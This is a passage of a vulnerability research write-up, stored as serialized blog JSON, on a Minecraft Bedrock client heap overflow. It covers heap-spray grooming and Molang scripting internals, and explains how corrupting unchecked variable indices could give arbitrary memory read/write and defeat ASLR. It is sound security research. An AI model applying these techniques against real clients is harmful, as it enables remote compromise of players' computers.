",{"type":24,"tag":32,"props":154229,"children":154231},{"className":154230},[],[154232],{"type":29,"value":153984},{"type":29,"value":154234}," field corrupted:",{"type":24,"tag":80,"props":154236,"children":154238},{"code":154237}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[154239],{"type":24,"tag":32,"props":154240,"children":154241},{"__ignoreMap":7},[154242],{"type":29,"value":154237},{"type":24,"tag":25,"props":154244,"children":154245},{},[154246],{"type":29,"value":154247},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":80,"props":154249,"children":154251},{"code":154250}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[154252],{"type":24,"tag":32,"props":154253,"children":154254},{"__ignoreMap":7},[154255],{"type":29,"value":154250},{"type":24,"tag":25,"props":154257,"children":154258},{},[154259],{"type":29,"value":154260},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":80,"props":154262,"children":154264},{"code":154263}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[154265],{"type":24,"tag":32,"props":154266,"children":154267},{"__ignoreMap":7},[154268],{"type":29,"value":154263},{"type":24,"tag":20586,"props":154270,"children":154271},{},[],{"type":24,"tag":25,"props":154273,"children":154274},{},[154275],{"type":29,"value":154276},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":25,"props":154278,"children":154279},{},[154280],{"type":29,"value":154281},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":1019,"props":154283,"children":154285},{"id":154284},"molang",[154286],{"type":29,"value":154287},"Molang",{"type":24,"tag":25,"props":154289,"children":154290},{},[154291,154293,154300],{"type":29,"value":154292},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":69,"props":154294,"children":154297},{"href":154295,"rel":154296},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[73],[154298],{"type":29,"value":154299},"syntax guide",{"type":29,"value":226},{"type":24,"tag":25,"props":154302,"children":154303},{},[154304,154306,154311,154312,154317],{"type":29,"value":154305},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":32,"props":154307,"children":154309},{"className":154308},[],[154310],{"type":29,"value":10951},{"type":29,"value":13360},{"type":24,"tag":32,"props":154313,"children":154315},{"className":154314},[],[154316],{"type":29,"value":2196},{"type":29,"value":154318}," operators are supported.",{"type":24,"tag":25,"props":154320,"children":154321},{},[154322,154324,154330,154332,154337,154339,154344,154345,154350,154351],{"type":29,"value":154323},"Variables are defined by prepending ",{"type":24,"tag":32,"props":154325,"children":154327},{"className":154326},[],[154328],{"type":29,"value":154329},"variable.",{"type":29,"value":154331}," to the name and assigning a value. For example, to define ",{"type":24,"tag":32,"props":154333,"children":154335},{"className":154334},[],[154336],{"type":29,"value":11456},{"type":29,"value":154338}," as the sum of ",{"type":24,"tag":32,"props":154340,"children":154342},{"className":154341},[],[154343],{"type":29,"value":69},{"type":29,"value":13360},{"type":24,"tag":32,"props":154346,"children":154348},{"className":154347},[],[154349],{"type":29,"value":5617},{"type":29,"value":1833},{"type":24,"tag":32,"props":154352,"children":154354},{"className":154353},[],[154355],{"type":29,"value":154356},"variable.result = variable.a + variable.b;",{"type":24,"tag":25,"props":154358,"children":154359},{},[154360,154362,154367,154368,154373,154374,154379,154380,154385],{"type":29,"value":154361},"Logical operators such as ",{"type":24,"tag":32,"props":154363,"children":154365},{"className":154364},[],[154366],{"type":29,"value":24215},{"type":29,"value":133},{"type":24,"tag":32,"props":154369,"children":154371},{"className":154370},[],[154372],{"type":29,"value":75025},{"type":29,"value":133},{"type":24,"tag":32,"props":154375,"children":154377},{"className":154376},[],[154378],{"type":29,"value":1575},{"type":29,"value":133},{"type":24,"tag":32,"props":154381,"children":154383},{"className":154382},[],[154384],{"type":29,"value":12830},{"type":29,"value":154386},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":80,"props":154388,"children":154390},{"code":154389},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[154391],{"type":24,"tag":32,"props":154392,"children":154393},{"__ignoreMap":7},[154394],{"type":29,"value":154389},{"type":24,"tag":25,"props":154396,"children":154397},{},[154398],{"type":29,"value":154399},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":20686,"props":154401,"children":154403},{"id":154402},"molang-internals",[154404],{"type":29,"value":154405},"Molang Internals",{"type":24,"tag":25,"props":154407,"children":154408},{},[154409],{"type":29,"value":154410},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":25,"props":154412,"children":154413},{},[154414],{"type":29,"value":154415},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":20686,"props":154417,"children":154419},{"id":154418},"molangvariable-and-molangscriptarg",[154420],{"type":29,"value":154421},"MolangVariable and MolangScriptArg",{"type":24,"tag":25,"props":154423,"children":154424},{},[154425,154426,154432],{"type":29,"value":104181},{"type":24,"tag":32,"props":154427,"children":154429},{"className":154428},[],[154430],{"type":29,"value":154431},"MolangVariable",{"type":29,"value":154433}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":80,"props":154435,"children":154437},{"code":154436,"language":3030,"meta":7,"className":3028,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[154438],{"type":24,"tag":32,"props":154439,"children":154440},{"__ignoreMap":7},[154441,154453,154460,154472,154485,154493,154500,154507,154519,154532,154544,154574,154582,154589,154596],{"type":24,"tag":90,"props":154442,"children":154443},{"class":92,"line":93},[154444,154448],{"type":24,"tag":90,"props":154445,"children":154446},{"style":97},[154447],{"type":29,"value":3050},{"type":24,"tag":90,"props":154449,"children":154450},{"style":114},[154451],{"type":29,"value":154452}," MolangVariable {\n",{"type":24,"tag":90,"props":154454,"children":154455},{"class":92,"line":200},[154456],{"type":24,"tag":90,"props":154457,"children":154458},{"style":114},[154459],{"type":29,"value":63612},{"type":24,"tag":90,"props":154461,"children":154462},{"class":92,"line":239},[154463,154467],{"type":24,"tag":90,"props":154464,"children":154465},{"style":97},[154466],{"type":29,"value":8437},{"type":24,"tag":90,"props":154468,"children":154469},{"style":114},[154470],{"type":29,"value":154471}," HashedString {\n",{"type":24,"tag":90,"props":154473,"children":154474},{"class":92,"line":248},[154475,154480],{"type":24,"tag":90,"props":154476,"children":154477},{"style":97},[154478],{"type":29,"value":154479}," uint64_t",{"type":24,"tag":90,"props":154481,"children":154482},{"style":114},[154483],{"type":29,"value":154484}," variable_name_hash;\n",{"type":24,"tag":90,"props":154486,"children":154487},{"class":92,"line":258},[154488],{"type":24,"tag":90,"props":154489,"children":154490},{"style":114},[154491],{"type":29,"value":154492}," std::string variable_name;\n",{"type":24,"tag":90,"props":154494,"children":154495},{"class":92,"line":272},[154496],{"type":24,"tag":90,"props":154497,"children":154498},{"style":114},[154499],{"type":29,"value":40813},{"type":24,"tag":90,"props":154501,"children":154502},{"class":92,"line":281},[154503],{"type":24,"tag":90,"props":154504,"children":154505},{"style":114},[154506],{"type":29,"value":63612},{"type":24,"tag":90,"props":154508,"children":154509},{"class":92,"line":384},[154510,154514],{"type":24,"tag":90,"props":154511,"children":154512},{"style":97},[154513],{"type":29,"value":8437},{"type":24,"tag":90,"props":154515,"children":154516},{"style":114},[154517],{"type":29,"value":154518}," MolangScriptArg {\n",{"type":24,"tag":90,"props":154520,"children":154521},{"class":92,"line":420},[154522,154527],{"type":24,"tag":90,"props":154523,"children":154524},{"style":97},[154525],{"type":29,"value":154526}," uint32_t",{"type":24,"tag":90,"props":154528,"children":154529},{"style":114},[154530],{"type":29,"value":154531}," value_type;\n",{"type":24,"tag":90,"props":154533,"children":154534},{"class":92,"line":428},[154535,154539],{"type":24,"tag":90,"props":154536,"children":154537},{"style":97},[154538],{"type":29,"value":154479},{"type":24,"tag":90,"props":154540,"children":154541},{"style":114},[154542],{"type":29,"value":154543}," value;\n",{"type":24,"tag":90,"props":154545,"children":154546},{"class":92,"line":437},[154547,154552,154556,154560,154565,154569],{"type":24,"tag":90,"props":154548,"children":154549},{"style":114},[154550],{"type":29,"value":154551}," std::vector",{"type":24,"tag":90,"props":154553,"children":154554},{"style":120},[154555],{"type":29,"value":1575},{"type":24,"tag":90,"props":154557,"children":154558},{"style":97},[154559],{"type":29,"value":3050},{"type":24,"tag":90,"props":154561,"children":154562},{"style":114},[154563],{"type":29,"value":154564}," MolangScriptArg",{"type":24,"tag":90,"props":154566,"children":154567},{"style":120},[154568],{"type":29,"value":12830},{"type":24,"tag":90,"props":154570,"children":154571},{"style":114},[154572],{"type":29,"value":154573}," struct_fields;\n",{"type":24,"tag":90,"props":154575,"children":154576},{"class":92,"line":574},[154577],{"type":24,"tag":90,"props":154578,"children":154579},{"style":114},[154580],{"type":29,"value":154581}," \n",{"type":24,"tag":90,"props":154583,"children":154584},{"class":92,"line":606},[154585],{"type":24,"tag":90,"props":154586,"children":154587},{"style":114},[154588],{"type":29,"value":125869},{"type":24,"tag":90,"props":154590,"children":154591},{"class":92,"line":615},[154592],{"type":24,"tag":90,"props":154593,"children":154594},{"style":114},[154595],{"type":29,"value":40813},{"type":24,"tag":90,"props":154597,"children":154598},{"class":92,"line":623},[154599],{"type":24,"tag":90,"props":154600,"children":154601},{"style":114},[154602],{"type":29,"value":3093},{"type":24,"tag":25,"props":154604,"children":154605},{},[154606,154608,154613],{"type":29,"value":154607},"In memory a ",{"type":24,"tag":32,"props":154609,"children":154611},{"className":154610},[],[154612],{"type":29,"value":154431},{"type":29,"value":154614}," instance resembles:",{"type":24,"tag":80,"props":154616,"children":154618},{"code":154617}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[154619],{"type":24,"tag":32,"props":154620,"children":154621},{"__ignoreMap":7},[154622],{"type":29,"value":154617},{"type":24,"tag":25,"props":154624,"children":154625},{},[154626],{"type":29,"value":154627},"For reference, example debugger view of the layout:",{"type":24,"tag":25,"props":154629,"children":154630},{},[154631],{"type":24,"tag":6301,"props":154632,"children":154634},{"alt":52402,"src":154633},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":25,"props":154636,"children":154637},{},[154638],{"type":29,"value":154639},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":25,"props":154641,"children":154642},{},[154643,154645,154651,154653,154658,154660,154666,154668,154673,154674,154679,154681,154686,154687,154693,154694,154700],{"type":29,"value":154644},"We only care about the ",{"type":24,"tag":32,"props":154646,"children":154648},{"className":154647},[],[154649],{"type":29,"value":154650},"MolangScriptArg",{"type":29,"value":154652}," beginning at offset ",{"type":24,"tag":32,"props":154654,"children":154656},{"className":154655},[],[154657],{"type":29,"value":130748},{"type":29,"value":154659}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":32,"props":154661,"children":154663},{"className":154662},[],[154664],{"type":29,"value":154665},"value_type",{"type":29,"value":154667}," at ",{"type":24,"tag":32,"props":154669,"children":154671},{"className":154670},[],[154672],{"type":29,"value":130748},{"type":29,"value":67},{"type":24,"tag":32,"props":154675,"children":154677},{"className":154676},[],[154678],{"type":29,"value":6408},{"type":29,"value":154680}," (meaning float), and the ",{"type":24,"tag":32,"props":154682,"children":154684},{"className":154683},[],[154685],{"type":29,"value":40968},{"type":29,"value":154667},{"type":24,"tag":32,"props":154688,"children":154690},{"className":154689},[],[154691],{"type":29,"value":154692},"0x38",{"type":29,"value":67},{"type":24,"tag":32,"props":154695,"children":154697},{"className":154696},[],[154698],{"type":29,"value":154699},"0xbf2070c8",{"type":29,"value":226},{"type":24,"tag":25,"props":154702,"children":154703},{},[154704,154706,154712,154714,154719,154721,154726,154727,154732,154734,154739,154741,154746],{"type":29,"value":154705},"During assignment, such as ",{"type":24,"tag":32,"props":154707,"children":154709},{"className":154708},[],[154710],{"type":29,"value":154711},"variable.a = variable.b",{"type":29,"value":154713},", each field of ",{"type":24,"tag":32,"props":154715,"children":154717},{"className":154716},[],[154718],{"type":29,"value":154650},{"type":29,"value":154720}," is copied from variable ",{"type":24,"tag":32,"props":154722,"children":154724},{"className":154723},[],[154725],{"type":29,"value":5617},{"type":29,"value":58601},{"type":24,"tag":32,"props":154728,"children":154730},{"className":154729},[],[154731],{"type":29,"value":69},{"type":29,"value":154733},". Interestingly, the ",{"type":24,"tag":32,"props":154735,"children":154737},{"className":154736},[],[154738],{"type":29,"value":40968},{"type":29,"value":154740}," field is always copied as a ",{"type":24,"tag":32,"props":154742,"children":154744},{"className":154743},[],[154745],{"type":29,"value":57459},{"type":29,"value":154747}," even if the type is a 32-bit float.",{"type":24,"tag":25,"props":154749,"children":154750},{},[154751,154753,154759],{"type":29,"value":154752},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":32,"props":154754,"children":154756},{"className":154755},[],[154757],{"type":29,"value":154758},"MolangVariableMap",{"type":29,"value":226},{"type":24,"tag":20686,"props":154761,"children":154763},{"id":154762},"molangvariablemap",[154764],{"type":29,"value":154758},{"type":24,"tag":25,"props":154766,"children":154767},{},[154768,154773,154775,154781,154783,154789],{"type":24,"tag":32,"props":154769,"children":154771},{"className":154770},[],[154772],{"type":29,"value":154758},{"type":29,"value":154774}," is simply a ",{"type":24,"tag":32,"props":154776,"children":154778},{"className":154777},[],[154779],{"type":29,"value":154780},"std::vector\u003CMolangVariable *>",{"type":29,"value":154782}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":32,"props":154784,"children":154786},{"className":154785},[],[154787],{"type":29,"value":154788},"std::vector",{"type":29,"value":154790}," layout:",{"type":24,"tag":80,"props":154792,"children":154794},{"code":154793,"language":3030,"meta":7,"className":3028,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[154795],{"type":24,"tag":32,"props":154796,"children":154797},{"__ignoreMap":7},[154798,154810,154826,154842,154858],{"type":24,"tag":90,"props":154799,"children":154800},{"class":92,"line":93},[154801,154805],{"type":24,"tag":90,"props":154802,"children":154803},{"style":97},[154804],{"type":29,"value":3050},{"type":24,"tag":90,"props":154806,"children":154807},{"style":114},[154808],{"type":29,"value":154809}," vector {\n",{"type":24,"tag":90,"props":154811,"children":154812},{"class":92,"line":200},[154813,154817,154821],{"type":24,"tag":90,"props":154814,"children":154815},{"style":97},[154816],{"type":29,"value":3063},{"type":24,"tag":90,"props":154818,"children":154819},{"style":120},[154820],{"type":29,"value":366},{"type":24,"tag":90,"props":154822,"children":154823},{"style":114},[154824],{"type":29,"value":154825},"buf;\n",{"type":24,"tag":90,"props":154827,"children":154828},{"class":92,"line":239},[154829,154833,154837],{"type":24,"tag":90,"props":154830,"children":154831},{"style":97},[154832],{"type":29,"value":3063},{"type":24,"tag":90,"props":154834,"children":154835},{"style":120},[154836],{"type":29,"value":366},{"type":24,"tag":90,"props":154838,"children":154839},{"style":114},[154840],{"type":29,"value":154841},"len;\n",{"type":24,"tag":90,"props":154843,"children":154844},{"class":92,"line":248},[154845,154849,154853],{"type":24,"tag":90,"props":154846,"children":154847},{"style":97},[154848],{"type":29,"value":3063},{"type":24,"tag":90,"props":154850,"children":154851},{"style":120},[154852],{"type":29,"value":366},{"type":24,"tag":90,"props":154854,"children":154855},{"style":114},[154856],{"type":29,"value":154857},"cap;\n",{"type":24,"tag":90,"props":154859,"children":154860},{"class":92,"line":258},[154861],{"type":24,"tag":90,"props":154862,"children":154863},{"style":114},[154864],{"type":29,"value":3093},{"type":24,"tag":25,"props":154866,"children":154867},{},[154868,154873,154875,154880,154882,154888,154890,154895,154896,154901],{"type":24,"tag":32,"props":154869,"children":154871},{"className":154870},[],[154872],{"type":29,"value":151954},{"type":29,"value":154874}," points to the allocated array of elements, ",{"type":24,"tag":32,"props":154876,"children":154878},{"className":154877},[],[154879],{"type":29,"value":11513},{"type":29,"value":154881}," points just past the last used element, and ",{"type":24,"tag":32,"props":154883,"children":154885},{"className":154884},[],[154886],{"type":29,"value":154887},"cap",{"type":29,"value":154889}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":32,"props":154891,"children":154893},{"className":154892},[],[154894],{"type":29,"value":11513},{"type":29,"value":13360},{"type":24,"tag":32,"props":154897,"children":154899},{"className":154898},[],[154900],{"type":29,"value":154887},{"type":29,"value":154902}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":25,"props":154904,"children":154905},{},[154906],{"type":29,"value":154907},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":80,"props":154909,"children":154911},{"code":154910},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[154912],{"type":24,"tag":32,"props":154913,"children":154914},{"__ignoreMap":7},[154915],{"type":29,"value":154910},{"type":24,"tag":25,"props":154917,"children":154918},{},[154919,154921,154927,154929,154935],{"type":29,"value":154920},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":32,"props":154922,"children":154924},{"className":154923},[],[154925],{"type":29,"value":154926},"variable.result",{"type":29,"value":154928},") may differ between entities. To get around this, ",{"type":24,"tag":32,"props":154930,"children":154932},{"className":154931},[],[154933],{"type":29,"value":154934},"MolangIndexMap",{"type":29,"value":154936}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":20686,"props":154938,"children":154940},{"id":154939},"molangindexmap",[154941],{"type":29,"value":154934},{"type":24,"tag":25,"props":154943,"children":154944},{},[154945,154950,154952,154958,154960,154966],{"type":24,"tag":32,"props":154946,"children":154948},{"className":154947},[],[154949],{"type":29,"value":154934},{"type":29,"value":154951}," is a per-entity ",{"type":24,"tag":32,"props":154953,"children":154955},{"className":154954},[],[154956],{"type":29,"value":154957},"std::vector\u003Cuint16_t>",{"type":29,"value":154959},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":32,"props":154961,"children":154963},{"className":154962},[],[154964],{"type":29,"value":154965},"variable.result = 0",{"type":29,"value":154967}," it:",{"type":24,"tag":3100,"props":154969,"children":154970},{},[154971,154981,154991],{"type":24,"tag":3104,"props":154972,"children":154973},{},[154974,154976],{"type":29,"value":154975},"Checks the global hashmap for ",{"type":24,"tag":32,"props":154977,"children":154979},{"className":154978},[],[154980],{"type":29,"value":11456},{"type":24,"tag":3104,"props":154982,"children":154983},{},[154984,154986],{"type":29,"value":154985},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":32,"props":154987,"children":154989},{"className":154988},[],[154990],{"type":29,"value":154934},{"type":24,"tag":3104,"props":154992,"children":154993},{},[154994,154996],{"type":29,"value":154995},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":32,"props":154997,"children":154999},{"className":154998},[],[155000],{"type":29,"value":155001},"last_index + 1",{"type":24,"tag":25,"props":155003,"children":155004},{},[155005,155007,155012,155014,155019,155021,155026,155028,155033,155035,155040,155041,155047,155049,155054],{"type":29,"value":155006},"This means the same global index for variable ",{"type":24,"tag":32,"props":155008,"children":155010},{"className":155009},[],[155011],{"type":29,"value":11456},{"type":29,"value":155013}," maps to the same position inside every entity’s ",{"type":24,"tag":32,"props":155015,"children":155017},{"className":155016},[],[155018],{"type":29,"value":154934},{"type":29,"value":155020},", but the actual ",{"type":24,"tag":32,"props":155022,"children":155024},{"className":155023},[],[155025],{"type":29,"value":154431},{"type":29,"value":155027}," for ",{"type":24,"tag":32,"props":155029,"children":155031},{"className":155030},[],[155032],{"type":29,"value":11456},{"type":29,"value":155034}," may live at different slots inside each entity's ",{"type":24,"tag":32,"props":155036,"children":155038},{"className":155037},[],[155039],{"type":29,"value":154758},{"type":29,"value":5057},{"type":24,"tag":32,"props":155042,"children":155044},{"className":155043},[],[155045],{"type":29,"value":155046},"Entity.MolangIndexMap[global_index]",{"type":29,"value":155048}," stores the per-entity index (slot) of variable ",{"type":24,"tag":32,"props":155050,"children":155052},{"className":155051},[],[155053],{"type":29,"value":11456},{"type":29,"value":226},{"type":24,"tag":25,"props":155056,"children":155057},{},[155058,155060,155065,155067,155072,155074,155079,155081,155086,155088,155094,155096,155101],{"type":29,"value":155059},"Importantly, we found that indices in the ",{"type":24,"tag":32,"props":155061,"children":155063},{"className":155062},[],[155064],{"type":29,"value":154934},{"type":29,"value":155066}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":32,"props":155068,"children":155070},{"className":155069},[],[155071],{"type":29,"value":154758},{"type":29,"value":155073},". This means that if we overwrite the index of variable ",{"type":24,"tag":32,"props":155075,"children":155077},{"className":155076},[],[155078],{"type":29,"value":11456},{"type":29,"value":155080}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":32,"props":155082,"children":155084},{"className":155083},[],[155085],{"type":29,"value":154758},{"type":29,"value":155087},", we could read from and write to ",{"type":24,"tag":32,"props":155089,"children":155091},{"className":155090},[],[155092],{"type":29,"value":155093},"address + 0x38",{"type":29,"value":155095}," through ",{"type":24,"tag":32,"props":155097,"children":155099},{"className":155098},[],[155100],{"type":29,"value":154926},{"type":29,"value":226},{"type":24,"tag":1019,"props":155103,"children":155105},{"id":155104},"building-a-molang-arbitrary-rw-primitive",[155106],{"type":29,"value":155107},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":25,"props":155109,"children":155110},{},[155111,155113,155118,155120,155125],{"type":29,"value":155112},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":32,"props":155114,"children":155116},{"className":155115},[],[155117],{"type":29,"value":154788},{"type":29,"value":155119}," - specifically, of ",{"type":24,"tag":32,"props":155121,"children":155123},{"className":155122},[],[155124],{"type":29,"value":154758},{"type":29,"value":155126}," vector.",{"type":24,"tag":25,"props":155128,"children":155129},{},[155130,155132,155137,155139,155144,155145,155150,155152,155157],{"type":29,"value":155131},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":32,"props":155133,"children":155135},{"className":155134},[],[155136],{"type":29,"value":154758},{"type":29,"value":155138}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":32,"props":155140,"children":155142},{"className":155141},[],[155143],{"type":29,"value":151954},{"type":29,"value":57616},{"type":24,"tag":32,"props":155146,"children":155148},{"className":155147},[],[155149],{"type":29,"value":154758},{"type":29,"value":155151}," vector belonging to an entity object placed just next the ",{"type":24,"tag":32,"props":155153,"children":155155},{"className":155154},[],[155156],{"type":29,"value":154758},{"type":29,"value":155158}," allocated buffer.",{"type":24,"tag":80,"props":155160,"children":155162},{"code":155161}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[155163],{"type":24,"tag":32,"props":155164,"children":155165},{"__ignoreMap":7},[155166],{"type":29,"value":155161},{"type":24,"tag":25,"props":155168,"children":155169},{},[155170,155172,155177,155179,155185,155187,155192,155193,155199,155200,155205,155207,155212,155214,155219,155221,155226,155228,155233,155235,155240,155242,155247,155249,155255,155257,155262,155264,155269],{"type":29,"value":155171},"In the scenario above, the ",{"type":24,"tag":32,"props":155173,"children":155175},{"className":155174},[],[155176],{"type":29,"value":154934},{"type":29,"value":155178}," would map ",{"type":24,"tag":32,"props":155180,"children":155182},{"className":155181},[],[155183],{"type":29,"value":155184},"variable.a",{"type":29,"value":155186}," -> index ",{"type":24,"tag":32,"props":155188,"children":155190},{"className":155189},[],[155191],{"type":29,"value":6408},{"type":29,"value":133},{"type":24,"tag":32,"props":155194,"children":155196},{"className":155195},[],[155197],{"type":29,"value":155198},"variable.b",{"type":29,"value":155186},{"type":24,"tag":32,"props":155201,"children":155203},{"className":155202},[],[155204],{"type":29,"value":534},{"type":29,"value":155206},", and so on. If we overwrite the index for ",{"type":24,"tag":32,"props":155208,"children":155210},{"className":155209},[],[155211],{"type":29,"value":155184},{"type":29,"value":155213}," with a value that is out-of-bounds for the ",{"type":24,"tag":32,"props":155215,"children":155217},{"className":155216},[],[155218],{"type":29,"value":154758},{"type":29,"value":155220},", it can instead index the ",{"type":24,"tag":32,"props":155222,"children":155224},{"className":155223},[],[155225],{"type":29,"value":151954},{"type":29,"value":155227}," field of the entity object above. Reading ",{"type":24,"tag":32,"props":155229,"children":155231},{"className":155230},[],[155232],{"type":29,"value":155184},{"type":29,"value":155234}," will then return the pointer stored at offset ",{"type":24,"tag":32,"props":155236,"children":155238},{"className":155237},[],[155239],{"type":29,"value":154692},{"type":29,"value":155241}," from the start of the ",{"type":24,"tag":32,"props":155243,"children":155245},{"className":155244},[],[155246],{"type":29,"value":154758},{"type":29,"value":155248}," (which in this diagram corresponds to ",{"type":24,"tag":32,"props":155250,"children":155252},{"className":155251},[],[155253],{"type":29,"value":155254},"variable.f",{"type":29,"value":155256},"), and writing to ",{"type":24,"tag":32,"props":155258,"children":155260},{"className":155259},[],[155261],{"type":29,"value":155184},{"type":29,"value":155263}," will overwrite that pointer - corrupting ",{"type":24,"tag":32,"props":155265,"children":155267},{"className":155266},[],[155268],{"type":29,"value":155254},{"type":29,"value":226},{"type":24,"tag":25,"props":155271,"children":155272},{},[155273,155275,155280,155281,155287,155289,155294,155296,155302,155304,155309,155311,155316,155318,155324,155326,155332,155334,155339],{"type":29,"value":155274},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":32,"props":155276,"children":155278},{"className":155277},[],[155279],{"type":29,"value":155184},{"type":29,"value":1151},{"type":24,"tag":32,"props":155282,"children":155284},{"className":155283},[],[155285],{"type":29,"value":155286},"variable.a += 8",{"type":29,"value":155288},"), which advances the pointer used for ",{"type":24,"tag":32,"props":155290,"children":155292},{"className":155291},[],[155293],{"type":29,"value":155254},{"type":29,"value":155295}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":32,"props":155297,"children":155299},{"className":155298},[],[155300],{"type":29,"value":155301},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":155303}," - this updates the ",{"type":24,"tag":32,"props":155305,"children":155307},{"className":155306},[],[155308],{"type":29,"value":155254},{"type":29,"value":155310}," pointer to our chosen address, and writing to ",{"type":24,"tag":32,"props":155312,"children":155314},{"className":155313},[],[155315],{"type":29,"value":155254},{"type":29,"value":155317},", for example ",{"type":24,"tag":32,"props":155319,"children":155321},{"className":155320},[],[155322],{"type":29,"value":155323},"variable.f = 1337",{"type":29,"value":155325},", writes the value ",{"type":24,"tag":32,"props":155327,"children":155329},{"className":155328},[],[155330],{"type":29,"value":155331},"1337",{"type":29,"value":155333}," to offset ",{"type":24,"tag":32,"props":155335,"children":155337},{"className":155336},[],[155338],{"type":29,"value":154692},{"type":29,"value":155340}," from that calculated address.",{"type":24,"tag":20686,"props":155342,"children":155344},{"id":155343},"testing-the-idea",[155345],{"type":29,"value":155346},"Testing the Idea",{"type":24,"tag":25,"props":155348,"children":155349},{},[155350,155352,155357,155359,155364,155366,155371],{"type":29,"value":155351},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":32,"props":155353,"children":155355},{"className":155354},[],[155356],{"type":29,"value":154758},{"type":29,"value":155358}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":842,"props":155360,"children":155361},{},[155362],{"type":29,"value":155363},"almost",{"type":29,"value":155365}," worked - below is the state of the ",{"type":24,"tag":32,"props":155367,"children":155369},{"className":155368},[],[155370],{"type":29,"value":154758},{"type":29,"value":155372},"'s allocated buffer before the Molang script 